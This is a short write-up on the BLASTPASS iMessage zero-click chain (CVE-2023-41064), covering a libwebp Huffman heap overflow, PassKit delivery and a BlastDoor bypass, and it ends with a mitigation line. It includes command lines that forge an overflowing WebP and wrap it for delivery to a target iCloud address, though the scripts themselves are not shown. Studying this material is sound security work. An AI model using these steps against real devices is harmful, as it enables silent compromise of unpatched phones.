Overview
BLASTPASS (CVE-2023-41064) is a 0-click chain delivered through a PassKit attachment in iMessage. The bug lives in ImageIO's WebP decoder.
Forging the WebP
$cat snippet.sh
python3 forge_webp.py --huff-overflow 0x4141 --out blast.webpThe crafted VP8L Huffman table overflows a heap buffer in libwebp's HuffmanTreeBuildExplicit.
Wrapping in a PassKit attachment
$cat snippet.sh
python3 wrap_pkpass.py --payload blast.webp --recipient target@icloudWhy BlastDoor doesn't help
PassKit attachments are processed outside the BlastDoor sandbox, giving us direct access to ImageIO in a privileged context.
Mitigation
iOS 16.6.1 + Lockdown Mode.